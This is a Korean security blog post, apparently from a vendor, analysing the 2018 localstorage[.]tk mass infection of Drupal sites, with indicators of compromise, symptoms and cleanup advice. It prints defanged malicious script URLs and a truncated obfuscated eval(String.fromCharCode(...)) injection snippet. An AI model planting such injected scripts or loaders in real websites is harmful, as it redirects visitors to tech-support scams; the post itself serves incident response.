2018년 봄, Drupal 취약점을 악용한 감염 사례가 놀랍도록 급증했습니다. WordPress나 Joomla와 비교했을 때 가장 안전한 CMS 중 하나로 평가받아 왔고 전 세계 수많은 기업이 사용해 온 Drupal이 최근 또 다른 악성 공격의 표적이 된 것입니다.
현재 Drupal 사용자들은 감염 건수의 폭발적인 증가에 직면해 있으며, 그중 가장 최근 사례가 바로 localstorage[.]tk 공격입니다. 이번 감염은 수천 개의 Drupal 웹사이트에 영향을 미쳤으며, "js.localstorage[.]tk"를 통해 방문자들을 "기술 지원(Tech Support)" 스캠 페이지로 리디렉션시키는 것이 특징입니다.
![치명적인 Drupal 취약점 경보: localstorage[.]tk 대규모 감염 사태 분석](https://kr.wsxdn.com/UploadFiles_1288/202210/2022103113225866.jpg)
Drupal 감염, 어떻게 진행되고 있나?
이 Drupal 익스플로잇은 다양한 .tpl.php, .html.twig, .js 파일에 주입되는 악성 자바스크립트 코드를 통해 나타납니다. 악성 스크립트는 hxxps://js.localstorage[.]tk/s.js?crt=new에서 주입되거나, hxxp://193.201.224.233/m.js?d=3에서 로드될 수 있으며, 이것이 악성 리디렉션의 원인이 됩니다. 나아가 이 코드는 데이터베이스 내부의 수많은 위치에도 악성 스크립트를 심어둡니다.
[code inline="true" scrollable="true"]eval (String .fromCharCode(118, 97, 114, 32, 122, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, ...skipped... 100, 40, 122, 41, 59));[/code]
▲ Drupal: 감염된 페이지에서 발견되는 자바스크립트 코드
파일과 데이터베이스에서 이러한 악성 자바스크립트 코드를 삭제하는 것만으로는 부족할 수 있습니다. 해커 측에서 파일이 정리된 것으로 판단되면 재감염시키는 별도의 파일을 만들어 두었기 때문입니다. 이러한 파일은 대개 "g.php", "tonure.php", "jooner.php"처럼 무작위로 지어진 파일명을 사용합니다.
다음은 .tpl.php, .html.twig, header.php, drupal.js 파일에 악성 자바스크립트를 삽입하는 멀웨어 인젝터 코드의 예입니다.
![치명적인 Drupal 취약점 경보: localstorage[.]tk 대규모 감염 사태 분석](https://kr.wsxdn.com/UploadFiles_1288/202210/2022103113225945.png)
localstorage[.]tk Drupal 대규모 감염의 주요 증상
- 원래 존재해서는 안 되는 하위 디렉토리에 index.php 파일이 생성되는 경우
- 퍼블릭 파일·폴더에서 "g.php", "tonure.php", "jooner.php", stats.php 등 무작위 파일명을 가진 의심스러운 파일이 발견되는 경우. .ico 파일이나 의심스러운 hex 이름의 PHP 파일도 감염의 단서가 될 수 있습니다.
- public_html을 시작으로 사이트의 모든 디렉토리와 하위 디렉토리마다 무작위 문자열 이름의 .ico 파일과, 해당 .ico를 include하는 권한 0755의 index.php가 발견되는 경우
- public_html 권한이 777로 변경되면서 SuPHP 환경의 서버에서 500 서버 오류가 발생하는 경우
- 데이터베이스에서 %localstorage% 참조와 같은 해킹 스크립트 흔적이 발견되는 경우
Drupal 익스플로잇 대응 방법: localstorage[.]tk 감염 제거
피해가 이미 발생했다 하더라도 체계적인 대응 절차를 따르면 추가 침해를 막고 이 Drupal 취약점을 효과적으로 차단할 수 있습니다. 아래 단계를 통해 감염을 제거하고 향후 위협에 대비하시기 바랍니다.
- Drupal 버전 업그레이드: 감염을 정리하려면 최신 Drupal 버전(최소 Drupal 7.59, Drupal 8.5.3 또는 Drupal 8.4.8)으로 완전히 패치하고 업그레이드해야 합니다.
- 백도어 제거: 모든 백도어(악성 크론 작업 포함)를 먼저 제거한 뒤, 감염된 Drupal 파일과 데이터베이스에서 주입된 멀웨어를 삭제해야 합니다. 백도어를 남겨두면 멀웨어가 다시 유입되어 정리했던 파일이 재감염될 수 있습니다.
- 잘못된 방법으로 감염을 제거하면 즉시 재주입될 수 있습니다. 해킹된 Drupal 사이트 정리에 대한 Astra 가이드를 참고하는 것을 권장합니다.
- 공식 Drupal 포럼에 안내된 단계별 복구 가이드를 순서대로 따르세요.
- 새로운 위협에 대해 사이트를 즉시 패치해 주고, 발견된 취약점 정보를 알려주며, 패치나 새 버전이 출시되면 즉시 업데이트하도록 알림을 보내는 웹 방화벽(WAF) 도입을 강력히 권장합니다.
이런 온라인 공격으로부터 Drupal 사이트를 완벽하게 보호하고 싶으신가요? Astra의 Drupal Security Suite를 신청하고 비즈니스 운영 중에도 안심할 수 있는 보안을 확보하세요.
긴급한 도움이 필요하시면 채팅 위젯으로 메시지를 보내주시기 바랍니다.
개발자를 위한 Astra 시큐어 코딩 실무 체크리스트를 무료로 다운로드하세요.